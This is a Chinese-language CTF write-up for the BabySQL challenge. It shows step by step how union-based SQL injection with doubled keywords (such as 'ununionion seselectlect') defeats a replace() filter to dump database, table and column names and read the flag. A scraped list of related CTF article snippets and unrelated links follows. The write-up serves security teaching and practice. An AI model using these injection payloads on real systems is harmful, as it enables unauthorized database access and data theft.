考点就是一系列的sql注入操作 和 replace函数过滤

进入页面如图

基础过滤测试 union 、select 、information_schema试试有没有被过滤

?username=admin&password=pwd %27 union select 1 %23

具体回显如下:只保留了 1# ,这就说明被检测到了union和select

check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#'' at line 1

双写一下呢(原理是猜测使用replace函数,查找到union和select等然后替换为空)

?username=admin&password=pwd %27 ununionion seselectlect 1 %23

呜呼~,看来是注入成功了,但是我们现在的列数还不对

?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23

加一下列数,发现测试到3的时候,出现了对我们很友善的回显,注意看会显得数字2 和 3 这是我们注入的第二列和第三列。

既然是mariadb就测试一下version函数能不能用吧

?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23

下图算是印证了我们的注入点。

下面开始爆库,发现当前连接的数据库是geek。

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,database() %23

然后爆所有数据库名字 

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23  

然后我们发现了ctf库,推测这才是有flag的库 ,当然当前的库也有可能。

爆表,此时注意information被过滤了or,from也被过滤了,还包括where所以都双写一下(原因是,一般处理方式都为同一种)

 发现被过滤的payload ,用geek库做示例

?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23

双写后成功的payload

geek库的表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23

 

ctf库的表 ,此处发现Flag表

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

查Flag表中的字段名都有什么

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23

最后查最后的数据,从ctf库中Flag表中的flag字段查一哈有啥

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

 

[极客大挑战 2019]BabySQL 1的更多相关文章

  1. [极客大挑战 2019]BabySQL

    0x00 知识点 双写绕过 简单测试一下,发现or在登陆过程被过滤,想到使用oorr试试,结果成了?! 最后多测试一下,发现from union select 这些关键函数都被替换为空 本题直接进行常 ...

  2. BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)

    BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...

  3. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  4. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  5. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  6. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

  7. [极客大挑战 2019]FinalSQL

    0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(sc ...

  8. BUUCTF [极客大挑战 2019]Not Bad

    总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...

  9. 极客大挑战 2019 web 部分解

    复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...

随机推荐

  1. SpringMVC之springmvc原始api,请求中文乱码问题

    先搞一波效果图  1.Controller package com.tz.controller; import javax.servlet.http.HttpServlet; import javax ...

  2. MySQL 的 RowNum 实现(排行榜计算用户排名)

    1. 计算用户排名最高效的方法 例如:通过用户分享个数排名,那么自己的排名就是:比自己分享数多的用户个数 + 1 ' and `count` > '自己分享个数' 缺点:当多个用户分享个数相同的 ...

  3. Vue.observable()使用方法

    前言 随着组件的细化,就会遇到多组件状态共享的情况, Vuex当然可以解决这类问题,不过就像 Vuex官方文档所说的,如果应用不够大,为避免代码繁琐冗余,最好不要使用它,今天我们介绍的是 vue.js ...

  4. Android入门(创建、编译、运行、打包、安装)

    一.创建Android项目 1.选择Emtpy Activity=>Next 2.配置项目 输入Name(名称) Package.name(包名) Save location(保存位置) Lan ...

  5. ORB-SLAM2 运行 —— ROS + Android 手机摄像头

    转载请注明出处,谢谢 原创作者:Mingrui 原创链接:https://www.cnblogs.com/MingruiYu/p/12404730.html 本文要点: ROS 配置安装 解决 sud ...

  6. PostgreSQL与MySQL对比

    都属于开放源码的一员,性能和功能都在高速地提高和增强.MySQL AB的人们和PostgreSQL的开发者们都在尽可能地把各自的数据库改得越来越好,所以对于任何商业数据库使用其中的任何一个都不能算是错 ...

  7. beego的安装以及bee的安装和使用

    beego的安装以及bee的安装和使用 一.beego的安装 1.beego是什么 beego 是一个快速开发 Go 应用的 HTTP 框架,他可以用来快速开发 API.Web 及后端服务等各种应用, ...

  8. 细说集群技术(Cluster)

    今天本人给大家讲解一些我对集群技术一个理解,如有不对的或者讲的不好的可以多多提出,我会进行相应的更改,先提前感谢提出意见的各位了!!! 集群(Cluster)技术:通过此可以用较低的成本获取较高的性能 ...

  9. elasticjob学习二:封装elasticjob-spring-boot-starter

    之前已经简单的学习了es-job.但是如果实际应用都如同第一篇进行编写,会有很多重复代码,不方便.这篇主要是进行封装.我还会用一个demo使用下封装好的组件. elasticjob-spring-bo ...

  10. 数据结构 5 哈希表/HashMap 、自动扩容、多线程会出现的问题

    上一节,我们已经介绍了最重要的B树以及B+树,使用的情况以及区别的内容.当然,本节课,我们将学习重要的一个数据结构.哈希表 哈希表 哈希也常被称作是散列表,为什么要这么称呼呢,散列.散列.其元素分布较 ...